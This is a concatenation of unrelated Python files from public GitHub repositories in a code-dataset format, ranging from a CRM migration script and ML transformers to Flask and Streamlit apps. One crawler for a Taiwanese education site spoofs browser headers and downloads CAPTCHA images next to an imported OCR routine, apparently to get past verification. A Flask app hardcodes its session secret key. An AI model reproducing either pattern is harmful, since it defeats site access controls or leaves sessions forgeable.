env['from'][0]['name'].split()[0]\n except:\n logging.warning(f'EMAIL: first name not available for cont={cont} // comp={comp}')\n first = \"\"\n try:\n last = env['from'][0]['name'].split()[-1]\n except:\n logging.warning(f'EMAIL: first name not available for cont={cont} // comp={comp}')\n last = \"\"\n try:\n last = env['from'][0]['name'].split()[-1]\n except:\n logging.warning(f'EMAIL: first name not available for cont={cont} // comp={comp}')\n last = \"\"\n\n try:\n email = env['from'][0]['email']\n except:\n email = \"\"\n try:\n t = f\"{env['to'][0]['name']} <{env['to'][0]['email']}>\"\n except:\n t = \"\"\n\n \n f = {'email': email,\n 'firstName':first,\n 'lastName':last}\n to = {'email': t}\n cc = format_cc_bcc(act['cc'])\n bcc = format_cc_bcc(act['bcc'])\n html = act['body_html']\n text = act['body_text']\n\n try:\n subject = env['subject']\n except:\n subject = \"\"\n\n metadata = email_metadata(f, to, cc, bcc, subject, html, text)\n\n engagements.append(create_engagement(ownerID, type, time, metadata, cont, comp, d))\n \n # if meeting\n elif act['_type'] == 'Meeting':\n type = 'MEETING'\n \n # respective HS ids\n cont = []\n for c in act['attendees']:\n temp = get_HS_id(c['contact_id'], 'contact')\n if temp:\n cont.append(temp[0])\n comp = get_HS_id(act['lead_id'], 'company')\n d = get_HS_id(act['lead_id'], 'deal')\n\n body = \"\"\n startTime = ISO_to_UNIX(act['starts_at']) ### unix time\n endTime = ISO_to_UNIX(act['ends_at'])\n title = act['title']\n internalMeetingNotes = act['note']\n\n metadata = meeting_metadata(body, startTime, endTime, title, internalMeetingNotes)\n\n engagements.append(create_engagement(ownerID, type, time, metadata, cont, comp, d))\n\n\n # if note\n elif act['_type'] == 'Note':\n type = 'NOTE'\n\n # respective HS ids\n cont = get_HS_id(act['contact_id'], 'contact')\n comp = get_HS_id(act['lead_id'], 'company')\n d = get_HS_id(act['lead_id'], 'deal')\n\n metadata = {'body':act['note']}\n\n engagements.append(create_engagement(ownerID, type, time, metadata, cont, comp, d))\n\n\n # if call\n elif act['_type'] == 'Call':\n type = \"CALL\"\n\n # respective HS ids\n cont = get_HS_id(act['contact_id'], 'contact')\n comp = get_HS_id(act['lead_id'], 'company')\n d = get_HS_id(act['lead_id'], 'deal')\n\n # metadata \n if act['direction'] == 'outbound':\n toNumber = act['phone']\n fromNumber = act[\"local_phone\"]\n else:\n fromNumber = act['phone']\n toNumber = act[\"local_phone\"]\n\n status = \"COMPLETED\"\n durationMilliseconds = act['duration']*1000\n\n if act[\"has_recording\"]:\n recordingUrl = act['recording_url']\n else: \n recordingUrl = \"\"\n\n body = act[\"note\"]\n\n metadata = call_metadata(toNumber, fromNumber, status, durationMilliseconds, recordingUrl, body)\n\n engagements.append(create_engagement(ownerID, type, time, metadata, cont, comp, d))\n\n\n # if task\n elif act[\"_type\"] == \"TaskCompleted\":\n type = 'TASK'\n\n comp = get_HS_id(act['lead_id'], 'company')\n\n\n body = act['task_text']\n subject = \"Imported Task\"\n status = \"COMPLETED\"\n forObjectType = \"COMPANY\"\n\n metadata = tasks_metadata(body, subject, status, forObjectType)\n\n engagements.append(create_engagement(ownerID, type, time, metadata, companies=comp))\n\n\n save_json('/Users/jose/Documents/program_projects/crm-migration/data/PAYLOAD.json',engagements)\n\n\nif __name__ == \"__main__\":\n main()\n\n############ NOTES ############\n\n# why are things populating in a list\n# mappings for users, contact, companies, and deals to HubSpot ID, and Close ID\n# func for owner Id\n\n################# JUNK ############\n\n # populated = []\n # for i in range(0, len(data)):\n # if data[i]['tasks'] or data[i]['activities']:\n # populated.append(data[i])\n\n # print(len(populated))\n # df = pd.DataFrame(data=populated)\n # df.to_csv('/Users/jose/Documents/program_projects/pdf_render/clean1.csv')\n\n\n\n ### sample with data\n # temp = df.loc[df['name'] == 'BAER WELDING', :].to_dict()\n # print(df.loc[df['name'] == 'Gauzy', ])\n\n \n\n # print(type(temp))\n\n # print(temp['activities'])\n ### loop through the line items and display contacts \n # l = len(data)\n # for i in range(0,l):\n # data[i]['contact']\n\n \n \n ## prind all of the fields for one entry\n # temp = data[0]\n # for key in temp:\n # input('Enter')\n # print(f'{key}: {temp[key]}\\n') \n \n \n #load close data\n\n ## ad content to 'url' in leads\n ## associate leads(companies) and deals based on company name\n\n","repo_name":"josekey/crm-migration","sub_path":"sisyphus.py","file_name":"sisyphus.py","file_ext":"py","file_size_in_byte":7744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"32666967588","text":"import firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\nfrom firebase_admin import db\nimport calendar\n\nimport datetime\n\nimport numpy as np\n\n\nclass FirebaseService:\n\n MAX_DISTANCE = 4000\n\n @staticmethod\n def init():\n # Use a service account\n cred = credentials.Certificate('../data/serviceAccount.json')\n firebase_admin.initialize_app(cred)\n\n FirebaseService.db = firestore.client()\n\n @staticmethod\n def get_by_id(id = ''):\n events_ref = FirebaseService.db.collection('events').document(id)\n docs = events_ref.get().to_dict()\n result = [{\n 'lat': docs[\"lat\"],\n 'lng': docs[\"lng\"],\n 'time': docs[\"start_date\"],\n 'cost': docs[\"cost\"]\n }]\n return result\n\n @staticmethod\n def get_time_by_id(id = ''):\n events_ref = FirebaseService.db.collection('events').document(id)\n docs = events_ref.get().to_dict()\n result = [{\n 'time': docs[\"start_date\"]\n }]\n return result[0]['time']\n\n @staticmethod\n def get_place_by_id(id = ''):\n events_ref = FirebaseService.db.collection('events').document(id)\n docs = events_ref.get().to_dict()\n result = [{\n 'lat': docs[\"lat\"],\n 'lng': docs[\"lng\"]\n }]\n return [result[0]['lat'],result[0]['lng']]\n\n @staticmethod\n def get_cost_by_id(id = ''):\n events_ref = FirebaseService.db.collection('events').document(id)\n docs = events_ref.get().to_dict()\n result = [{\n 'cost': docs[\"cost\"]\n }]\n return result[0]['cost']\n\n\n #/events/-KyDmJ0Rt6HtoimcmVup/users/2jUGSMPgAodGxN4lZ8fh/chat_bot_messages/B7OLPVXLJ0MWHewxPXQl/message/n954GKDP9XLcxU7gSNUd\n @staticmethod\n def send_message_by_user(event_id, user_id, mess):\n result = []\n events_ref = FirebaseService.db.collection('events').document(event_id).collection('users').document(user_id).collection('chat_bot_messages').get()\n chat_bot_id = ''\n for doc in events_ref:\n print(u'{} => {}'.format(doc.id, doc.to_dict()))\n print(doc.id)\n chat_bot_id = doc.id\n\n message_text = {\n 'from': '1',\n 'message': mess,\n 'date' : datetime.datetime.now()\n }\n events_ref = FirebaseService.db.collection('events').document(event_id).collection('users').document(\n user_id).collection('chat_bot_messages').document().set(message_text)\n\n return\n @staticmethod\n def send_message_by_bot(event_id, user_id, mess):\n result = []\n events_ref = FirebaseService.db.collection('events').document(event_id).collection('users').document(user_id).collection('chat_bot_messages').get()\n chat_bot_id = ''\n for doc in events_ref:\n print(u'{} => {}'.format(doc.id, doc.to_dict()))\n print(doc.id)\n chat_bot_id = doc.id\n\n message_text = {\n 'from': '2',\n 'message': mess,\n 'date' : datetime.datetime.now()\n }\n events_ref = FirebaseService.db.collection('events').document(event_id).collection('users').document(\n user_id).collection('chat_bot_messages').document().set(message_text)\n\n\n return\n\n\n\n# if __name__ == '__main__':\n# FirebaseService.init()\n# FirebaseService.send_message_by_user('-KyDmJ0Rt6HtoimcmVup' , '2jUGSMPgAodGxN4lZ8fh')\n","repo_name":"camelot729/hikester_chatbot","sub_path":"firebase/firebase.py","file_name":"firebase.py","file_ext":"py","file_size_in_byte":3488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"6738848535","text":"\"\"\"\nModule containing transformers.\ntransformers are used to preprocess data before feeding\nit into models, it is mostly used when the preprocessing\nneeds to fit some values from training (e.g mean and std for Standardize),\ntransformers allows to save these parameters and re-use them when\nloading the model for the generation phase for instance.\nThe Transformer instances follow a scikit-learn like API.\n\"\"\"\n\nimport six\nfrom six.moves import map\n\nimport pickle\nimport numpy as np\nfrom sklearn.cluster import MiniBatchKMeans\n\nfrom .data import floatX\nfrom .data import intX\n\nEPS = 1e-10\n\nZERO_CHARACTER = 0\nBEGIN_CHARACTER = 1\nEND_CHARACTER = 2\n\n\nclass Standardize:\n\n \"\"\"\n Standardize transformer.\n Estimate mean and std of each feature then\n transforms by substracting the mean and dividing\n by std.\n\n Parameters\n ----------\n\n axis: int or tuple of int\n axis or axes where to compute mean and std\n\n Attributes\n ----------\n\n mean_: numpy array\n current estimate of mean of features\n std_: numpy array\n current estimate of std of features\n n_ : int\n number of calls to partial_fit used to compute the current estimates\n input_shape_ : tuple\n expected shape of inputs to `transform`.\n the number of examples first axis is excluded from\n the shape.\n output_shape_ : tuple\n expected shape of inputs to `inverse_transform`.\n the number of examples first axis is excluded from\n the shape.\n \"\"\"\n\n def __init__(self, axis=0, eps=EPS):\n self.mean_ = None\n self.std_ = None\n self.input_shape_ = None\n self.output_shape_ = None\n self.n_ = 0\n self._sum = 0\n self._sum_sqr = 0\n self.axis = axis\n self.eps = eps\n\n def transform(self, X):\n self._check_if_fitted()\n X = (X - self.mean_) / (self.std_ + self.eps)\n return X\n\n def inverse_transform(self, X):\n self._check_if_fitted()\n return (X * self.std_) + self.mean_\n\n def _check_if_fitted(self):\n assert self.mean_ is not None, 'the instance has not been fitted yet'\n assert self.std_ is not None, 'the instance has not been fitted yet'\n\n def partial_fit(self, X):\n self.n_ += len(X)\n self._sum += X.sum(axis=0)\n self._sum_sqr += (X**2).sum(axis=0)\n self.mean_ = self._sum / self.n_\n self.std_ = np.sqrt(self._sum_sqr / self.n_ - self.mean_ ** 2)\n if not self.input_shape_ and not self.output_shape_:\n self.input_shape_ = X.shape[1:]\n self.output_shape_ = X.shape[1:]\n\n\nclass ColorDiscretizer:\n \"\"\"\n Color discretizer transformer.\n Used to discretize the colors of a dataset of images with k-means.\n The expected shape of inputs is (nb_examples, nb_colors, h, w)\n where nb_colors is 1 or 3.\n The shape after transformation is (nb_examples, nb_centers, h, w).\n which is a one-hot representation of the data. Only one of the centers\n is one, the others are zero.\n\n Parameters\n ----------\n\n nb_centers: int\n Size of the 'palette' after discretization\n (corresponding to the number of centers of k-means applied to colors)\n batch_size: int\n size of the batch when using transform\n (not sure if this is needed anymore)\n\n Attributes\n ----------\n\n input_shape_ : tuple\n expected shape of inputs to `transform`.\n the number of examples first axis is excluded from\n the shape.\n output_shape_ : tuple\n expected shape of inputs to `inverse_transform`.\n the number of examples first axis is excluded from\n the shape.\n\n \"\"\"\n\n def __init__(self, nb_centers=5, batch_size=1000):\n # assume centers has shape (nb_centers, nb_channels)\n self.batch_size = batch_size\n self.nb_centers = nb_centers\n self._kmeans = MiniBatchKMeans(n_clusters=nb_centers)\n self.input_shape_ = None\n self.output_shape_ = None\n\n def _check_if_fitted(self):\n assert self.input_shape_ is not None, 'the instance has not been fitted yet'\n assert self.output_shape_ is not None, 'the instance has not been fitted yet'\n\n def partial_fit(self, X):\n # assume X has shape (nb_examples, nb_colors, h, w)\n input_shape = X.shape\n X = X.transpose((0, 2, 3, 1))\n nb, h, w, nb_colors = X.shape\n X = X.reshape((nb * h * w, nb_colors))\n self._kmeans.partial_fit(X)\n self.centers = self._kmeans.cluster_centers_ # (nb_centers, nb_channels)\n if not self.input_shape_ and not self.output_shape_:\n self.input_shape_ = input_shape[1:]\n self.output_shape_ = (self.nb_centers,) + X.shape[2:]\n return self\n\n def transform(self, X):\n self._check_if_fitted()\n # assume X has shape (nb_examples, nb_channels, h, w)\n X = X[:, :, :, :, np.newaxis] # (nb_examples, nb_channels, h, w, 1)\n centers = self.centers.T # (nb_channels, nb_centers)\n nb_centers = centers.shape[1]\n # (1, nb_channels, 1, 1, nb_centers)\n centers = centers[np.newaxis, :, np.newaxis, np.newaxis, :]\n outputs = []\n for i in range(0, len(X), self.batch_size):\n # (nb_examples, nb_channels, h, w, nb_centers)\n dist = np.abs(X[i:i + self.batch_size] - centers)\n dist = dist.sum(axis=1) # (nb_examples, h, w, nb_centers)\n out = dist.argmin(axis=3) # (nb_examples, h, w)\n out = onehot(out, D=nb_centers) # (nb_examples, h, w, nb_centers)\n out = out.transpose((0, 3, 1, 2)) # (nb_examples, nb_centers, h, w)\n outputs.append(out)\n return np.concatenate(outputs, axis=0)\n\n def inverse_transform(self, X):\n self._check_if_fitted()\n # assume X has shape (nb_examples, nb_centers, h, w)\n X = X.argmax(axis=1)\n nb, h, w = X.shape\n X = X.flatten()\n X = self.centers[X]\n nb_channels = X.shape[1]\n X = X.reshape((nb, h, w, nb_channels))\n X = X.transpose((0, 3, 1, 2))\n return X # (nb_examples, nb_channels, h, w)\n\n\nclass FileLoader:\n\n def __init__(self, filename, pos=0):\n self.filename = filename\n self.pos = pos\n self.transformer_ = None\n\n def partial_fit(self, X):\n pass\n\n def _load(self):\n if self.transformer_ is None:\n with open(self.filename, 'rb') as fd:\n self.transformer_ = pickle.load(fd)\n\n def transform(self, X):\n self._load()\n return self.transformer_[self.pos].transform(X)\n\n def inverse_transform(self, X):\n self._load()\n self.transformer_[self.pos].inverse_transform(X)\n\n\ndef onehot(X, D=10):\n \"\"\"\n Converts a numpy array of integers to a one-hot\n representation.\n `X` can have arbitrary number of dimesions, it just\n needs to be integers.\n A new tensor dim is added to `X` with `D` dimensions :\n the shape of the transformed array is X.shape + (D,)\n Parameters\n ----------\n\n X : numpy array of integers\n\n D : total number of elements in the one-hot\n representation.\n\n Returns\n -------\n\n array of shape : X.shape + (D,)\n \"\"\"\n X = intX(X)\n nb = np.prod(X.shape)\n x = X.flatten()\n m = np.zeros((nb, D))\n m[np.arange(nb), x] = 1.\n m = m.reshape(X.shape + (D,))\n m = floatX(m)\n return m\n\n\nclass DocumentVectorizer:\n \"\"\"\n a document transformer.\n it takes as input a list of documents and returns a vectorized\n representation of the documents.\n\n documents are either list of str or list of list of str.\n - if the documents are a list of str, then each document is a str so\n the tokens are the individual characters\n - if the documents is a list of list of str, then the tokens are\n the elements of the list (words)\n\n Parameters\n ----------\n\n length : int or None\n if int, maximum length of the documents.\n if None, no maximum length is assumed.\n the behavior of length is that if the length of a document\n is greater than length then it is truncated to fit length.\n if pad is True, then all documents will have exactly length size\n (counting the beging, the end character and the zero characters),\n the remaining characters are filled with the zero character.\n\n begin_character : bool\n whether to add a begin character in the beginning of each document\n\n end_character : bool\n whether to add an end character in the end of each document\n\n onehot : bool\n whether to convert the documents into onehot representation when\n calling the method transform. this also means that when calling\n inverse_transform, it expects the the documents to be represented\n as onehot, to give back the strings as a result.\n\n \"\"\"\n\n def __init__(self, length=None,\n begin_character=True, end_character=True,\n pad=True, onehot=False):\n self.length = length\n self.begin_character = begin_character\n self.end_character = end_character\n self.pad = pad\n self.onehot = onehot\n\n # input_dtype_ is needed by machinedesign.autoencoder iterative_refinement\n # because the input array must be initialized there and the type of the\n # data must be known, by default it is a float, whereas here we have strs.\n if length:\n self.input_dtype_ = ' 'User' as user\nuser --> 'Website' as web\nuser --> 'Sprint update (POST)' as upsprint\nweb --> 'Create doc (POST)' as doc\n --> 'API' as api\nweb --> 'Create ticket (POST)' as ticket\n --> api\nweb --> 'Update doc (POST)' as updoc\n --> api\nweb --> 'Update ticket (POST)' as upticket\n --> api\nweb --> 'Hiring (POST)' as ticket\n --> api\nweb --> 'Fetch sprint updates (GET)' as sprint\n --> api\nweb --> 'Backlog (GET)' as ticket\n --> api\nweb --> 'Fetch full view (GET)' as full\n --> 'Create puml' as puml\n --> api\nweb --> 'Rolodex (GET)' as rolo\n --> api\nweb --> 'Show docs (GET)' as show\n --> puml\n --> api\napi --> (*)\"\"\"\n\ndef clean_up(value):\n return re.escape(value)\n\ndef app():\n with st.form(\"my_form\"):\n st.title('Create ticket')\n title = st.text_input(\"Title\")\n label_val = st.text_input(\"Labels\")\n description = st.text_area(\"Description\")\n docs = st.text_input(\"Docs number\")\n status = st.text_input(\"Status (1 - current, 2 - Next sprint, 3 - backlog, 0 - Finished)\")\n priority = st.text_area(\"Priority (High/Med/Low)\")\n puml_txt = st.text_area(\"PUML text\")\n st.markdown(\"Example\")\n st.code(ptext)\n submitted = st.form_submit_button(\"Submit\")\n\n if submitted:\n list = clean_up(puml_txt).split(\"\\n\")\n print(list)\n id = tickets.create(title, label_val, description, docs, status, priority, list)\n st.success(f\"Added To Tickets with id: {id}\")","repo_name":"DownRamp/ScrumMaster","sub_path":"pages/create_ticket.py","file_name":"create_ticket.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"4700888476","text":"from flask import Flask, render_template, request, jsonify, redirect, session\nimport operator\nimport re\n\nfrom image import detect_face\nfrom mood import moodDetector\nimport api\n\napp = Flask(__name__)\n\napp.secret_key = \"NeverGonnaGiveYouUp\"\n\n\n@app.route(\"/\")\ndef main():\n return render_template(\"index.html\")\n\n\n@app.route(\"/gettingstarted\")\ndef getStarted():\n return render_template(\"survey.html\")\n\n\n@app.route(\"/survey\", methods=[\"GET\", \"POST\"])\ndef survey():\n if request.method == \"GET\":\n return render_template(\"survey-questions.html\")\n elif request.method == \"POST\":\n form = request.form\n mood = moodDetector(form)\n crowd = int(form[\"crowd\"])\n location = str(form[\"location\"])\n media = str(form[\"media\"])\n mainMood = max(mood.items(), key=operator.itemgetter(1))[0]\n if media != None and media != \"\":\n if re.match(\"(.*?),\", media) != None:\n media = re.match(\"(.*?),\", media).group()\n gifUrls = api.tenorQuery(media)\n ytUrls = api.youtubeQuery(media + \" funny scenes\")\n else:\n gifUrls = api.tenorQuery(\"school memes\")\n ytUrls = api.youtubeQuery(\"funniest videos\")\n if mainMood == \"joy\":\n if location != None and location != \"\":\n playlistUrl = api.spotifyQuery(location)\n elif crowd > 1 or mood[\"energy\"] > 5:\n playlistUrl = api.spotifyQuery(\"Happy EDM\")\n else:\n playlistUrl = api.spotifyQuery(\"Happy pop\")\n else:\n if location != None and location != \"\":\n playlistUrl = api.spotifyQuery(location)\n elif crowd > 1 or mood[\"energy\"] > 5:\n playlistUrl = api.spotifyQuery(\"Uplifting pop\")\n else:\n playlistUrl = api.spotifyQuery(\"Calm uplifting\")\n session[\"playlist\"] = playlistUrl\n session[\"yt\"] = ytUrls\n session[\"gif\"] = gifUrls\n session[\"page\"] = \"survey\"\n return \"success\"\n\n\n@app.route(\"/webcam\", methods=[\"GET\", \"POST\"])\ndef webcam():\n if request.method == \"GET\":\n return render_template(\"webcam.html\")\n elif request.method == \"POST\":\n # getting image from the request\n image = request.files[\"upimage\"].read()\n\n mood = detect_face(image)\n if mood != None or mood != {}:\n mainMood = max(mood.items(), key=operator.itemgetter(1))[0]\n # gifUrls = api.tenorQuery(\"school memes\")\n # ytUrls = api.youtubeQuery(\"funniest videos\")\n if mainMood == \"joy\" or mainMood == \"surprise\":\n if mood[\"surprise\"] > 2:\n playlistUrl = api.spotifyQuery(\"Happy EDM\")\n else:\n playlistUrl = api.spotifyQuery(\"Happy pop\")\n else:\n if mood[\"surprise\"] > 2:\n playlistUrl = api.spotifyQuery(\"Uplifting pop\")\n else:\n playlistUrl = api.spotifyQuery(\"Calm uplifting\")\n session[\"playlist\"] = playlistUrl\n # session[\"yt\"] = ytUrls\n # session[\"gif\"] = gifUrls\n session[\"page\"] = \"webcam\"\n return \"success\"\n return \"welp\"\n\n\n@app.route(\"/results\", methods=[\"GET\"])\ndef results():\n playlistUrl = session[\"playlist\"]\n # print(session)\n page = session[\"page\"]\n if page == \"survey\":\n ytUrls = session[\"yt\"]\n gifUrls = session[\"gif\"]\n return render_template(\"results.html\", playlistUrl=playlistUrl, ytUrls=ytUrls, gifUrls=gifUrls)\n elif page == \"webcam\":\n return render_template(\"results-webcam.html\", playlistUrl=playlistUrl)\n\n\nif __name__ == \"__main__\":\n app.run(host=\"127.0.0.1\", port=8080)\n","repo_name":"shreyshah33/MoodyMatch","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"30090883767","text":"\"\"\"\nspatial_env.py\nThe base environment for envs that incorporate space.\n\"\"\"\n\nfrom abc import abstractmethod\nimport logging\nimport indra.menu as menu\nimport indra.env as env\nimport indra.display_methods as disp\n\nX = 0\nY = 1\n\n\nclass SpatialEnv(env.Environment):\n \"\"\"\n Extends the base Environment with entities located in the\n complex plane.\n \"\"\"\n def __init__(self, name, width, height, preact=True,\n postact=False, model_nm=None):\n\n super().__init__(name, preact=preact,\n postact=postact, model_nm=model_nm)\n\n self.disp_census = True\n self.width = width\n self.height = height\n self.max_dist = self.width * self.height\n self.scatter_plot = None\n self.plot_title = \"Agent Positions\"\n# it only makes sense to plot agents in a spatial env, so add this here:\n self.menu.view.add_menu_item(\"s\",\n menu.MenuLeaf(\"(s)catter plot\",\n self.plot))\n\n def add_agent(self, agent, position=True):\n \"\"\"\n Add a spatial agent to env\n \"\"\"\n super().add_agent(agent)\n if position:\n self.position_item(agent)\n\n logging.debug(\"Adding \" + agent.__str__()\n + \" of variety \" + agent.get_type())\n\n @abstractmethod\n def position_item(self, agent):\n \"\"\"\n This must be implemented by descendents.\n \"\"\"\n\n def closest_x(self, seeker, prehensions):\n \"\"\"\n What is the closest entity of target_type?\n To be implemented by descendents.\n \"\"\"\n pass\n\n def plot(self):\n \"\"\"\n Show where agents are in graphical form.\n \"\"\"\n data = self.plot_data()\n self.scatter_plot = disp.ScatterPlot(\n self.plot_title, data,\n int(self.width), int(self.height),\n anim=True, data_func=self.plot_data)\n self.scatter_plot.show()\n\n def plot_data(self):\n data = {}\n for var in self.agents.varieties_iter():\n data[var] = {}\n data[var][X] = []\n data[var][Y] = []\n data[var][\"color\"] = self.agents.get_var_color(var)\n for agent in self.agents.variety_iter(var):\n if agent.pos is not None:\n (x, y) = agent.pos\n data[var][X].append(x)\n data[var][Y].append(y)\n return data\n","repo_name":"AlexWoollends/Indra","sub_path":"indra/spatial_env.py","file_name":"spatial_env.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"20"} +{"seq_id":"38407042894","text":"from multiprocessing import Process,Pool\nimport time,os\n\ndef Foo(i):\n\n time.sleep(1)\n print(i)\n print(\"son\",os.getpid())\n\n return \"HELLO %s\"%i\n\n\ndef Bar(arg):\n print(arg)\n # print(\"hello\")\n # print(\"Bar:\",os.getpid())\n\nif __name__ == '__main__':\n\n pool = Pool(5)#进程池进程数量。也能查看到电脑的多少核状态处理进程\n print(\"main pid\",os.getpid())\n for i in range(100):\n #pool.apply(func=Foo, args=(i,)) #同步接口,进程之间只能串联\n pool.apply_async(func=Foo, args=(i,))\n #回调函数: 就是某个动作或者函数执行成功后再去执行的函数\n\n # pool.apply_async(func=Foo, args=(i,),callback=Bar)\n\n pool.close()\n pool.join() # join与close调用顺序是固定的\n\n print('end')","repo_name":"MrYangShenZhen/pythonstudy","sub_path":"多线程/进程池.py","file_name":"进程池.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"44753148322","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom ocr import image_to_string\n\nURL_BASE = 'https://ap.ece.moe.edu.tw/webecems/'\nURL = URL_BASE + 'pubSearch.aspx'\nTARGET_CITY = \"09\"\nTARGET_AREA = \"428\"\n\n\ndef get_data(text, keyword):\n keyword += '|'\n start_idx = text.index(keyword) + len(keyword)\n end_idx = text.index('|', start_idx)\n return text[start_idx: end_idx]\n\n\ndef in_session(s):\n # Copy headers from edge\n s.headers.update({\"Accept-Encoding\": \"gzip, deflate, br\",\n \"Accept-Language\": \"en-US,en;q=0.9,zh-TW;q=0.8,zh;q=0.7,mt;q=0.6\",\n \"Cache-Control\": \"no-cache\",\n \"Connection\": \"keep-alive\",\n \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n \"Host\": \"ap.ece.moe.edu.tw\",\n \"Origin\": \"https://ap.ece.moe.edu.tw\",\n \"Referer\": \"https://ap.ece.moe.edu.tw/webecems/pubSearch.aspx\",\n \"sec-ch-ua\": '\\\"Not?A_Brand\";v=\"8\", \"Chromium\";v=\"108\", \"Microsoft Edge\";v=\"108\\\"',\n \"sec-ch-ua-mobile\": \"?0\",\n \"sec-ch-ua-platform\": \"Windows\",\n \"Sec-Fetch-Dest\": \"empty\",\n \"Sec-Fetch-Mode\": \"cors\",\n \"Sec-Fetch-Site\": \"same-origin\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.46\",\n \"X-MicrosoftAjax\": \"Delta=true\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n })\n\n # Get the first lookup page\n response = s.get(URL)\n with open(\"get.html\", \"w\", encoding=\"utf8\") as f:\n f.write(response.text)\n\n soup = BeautifulSoup(response.text, 'html.parser')\n dic = {\n \"ScriptManager1\": \"UpdatePanel1|ddlCityS\",\n \"ddlKey\": \"\",\n \"txtKeyNameS\": \"\",\n \"ddlCityS\": TARGET_CITY,\n \"ddlAreaS\": \"\",\n \"__EVENTTARGET\": \"ddlCityS\",\n \"__LASTFOCUS\": \"\",\n \"__ASYNCPOST\": \"true\",\n \"__EVENTARGUMENT\": soup.find(id=\"__EVENTARGUMENT\")['value'],\n \"__VIEWSTATE\": soup.find(id=\"__VIEWSTATE\")['value'],\n \"__EVENTVALIDATION\": soup.find(id=\"__EVENTVALIDATION\")['value'],\n \"__VIEWSTATEGENERATOR\": soup.find(id=\"__VIEWSTATEGENERATOR\")['value'],\n \"__VIEWSTATEENCRYPTED\": soup.find(id=\"__VIEWSTATEENCRYPTED\")['value'],\n }\n\n # Select city\n response = s.post(URL, data=dic)\n with open(\"select_city.html\", \"w\", encoding=\"utf8\") as f:\n f.write(response.text)\n dic.update({\"__EVENTVALIDATION\": get_data(response.text, '__EVENTVALIDATION'),\n \"__VIEWSTATE\": get_data(response.text, '__VIEWSTATE'),\n \"ScriptManager1\": \"UpdatePanel1|btnSearch\",\n \"ddlAreaS\": TARGET_AREA,\n \"btnSearch\": \"搜尋\",\n \"__EVENTTARGET\": \"\",\n })\n # Search\n response = s.post(URL, data=dic)\n with open(\"result.html\", \"w\", encoding=\"utf8\") as f:\n f.write(response.text)\n\n # Save verification code\n soup = BeautifulSoup(response.text, 'html.parser')\n dic.update({\"__EVENTVALIDATION\": get_data(response.text, '__EVENTVALIDATION'),\n '__VIEWSTATE': get_data(response.text, '__VIEWSTATE'), })\n idx = 0\n while True:\n _id = f'GridView1_imgValidateCode_{idx}'\n idx += 1\n img = soup.find(id=_id)\n if img:\n url = URL_BASE + img['src']\n reponse = s.get(url)\n with open(f'{_id}.png', \"wb\") as f:\n f.write(reponse.content)\n else:\n break\n\n PREVFIX = 'popwin=window.open(\\'./'\n POSTFIX = '&'\n idx = 0\n while True:\n _id = f'GridView1_divChgList_{idx}'\n idx += 1\n div = soup.find(id=_id)\n if div:\n code = div.find('a')['onclick']\n start = code.index(PREVFIX) + len(PREVFIX)\n end = code.index(POSTFIX)\n _url = code[start:end]\n _url = URL_BASE + _url + '&v=verification_code'\n else:\n break\n\n\ndef main():\n with requests.Session() as s:\n in_session(s)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"mingpepe/kindergarten_crawler","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"74016278450","text":"#!/usr/bin/python3\n\"\"\"\n Gather data from an API\n\"\"\"\n\nimport requests\nfrom sys import argv\n\n\nif __name__ == \"__main__\":\n url = 'https://jsonplaceholder.typicode.com'\n u_id = int(argv[1])\n u_p = requests.get(url + '/users/{}'.format(u_id)).json()\n u_td = requests.get(url + '/todos?userId={}'.format(u_id)).json()\n\n u_name = u_p.get('name')\n td_total = len(u_td)\n done = 0\n td_title = []\n\n for x in u_td:\n if x.get('completed'):\n done = done + 1\n td_title.append(x.get('title'))\n\n print('Employee {} is done with tasks({}/{}):'.format(u_name,\n done,\n td_total))\n for title in td_title:\n print('\\t {}'.format(title))\n","repo_name":"fabo893/holberton-system_engineering-devops","sub_path":"0x15-api/0-gather_data_from_an_API.py","file_name":"0-gather_data_from_an_API.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"34132323627","text":"from Puzzles.doubler.doubler import Doubler\n\n\ndef descr():\n return \"Удвоитель\"\n\n\ndef skip():\n pass\n\n\ndef run():\n d = Doubler()\n i = -1\n while d.state == 0 and i != 0:\n print(\"--- Next turn ---\")\n print(\"Current: {}\".format(d.current))\n print(\"Target: {}\".format(d.finish))\n print(\"[1] +1\\n[2] *2\\n[3] reset\\n[0] exit\")\n i = input(\"Action? ->\")\n i = int(i) if i.isdigit() else -1\n _ = {1: d.plus_one,\n 2: d.double,\n 3: d.reset}.get(i, skip)()\n if d.state == 1:\n print(\"You win!!!\")\n if d.state == -1:\n print(\"You lose!!!\")\n","repo_name":"viyy/LearningPy","sub_path":"Puzzles/doubler/task5.py","file_name":"task5.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"11002369387","text":"class Node:\r\n def __init__(self, data):\r\n self.data = data\r\n self.nex_ref = None\r\n self.prev_ref = None\r\n\r\n\r\nclass Doubly_Linked_List:\r\n def __init__(self):\r\n self.head = None\r\n\r\n def print_DLL_Forward(self):\r\n print()\r\n if self.head is None:\r\n print(\"linked list is 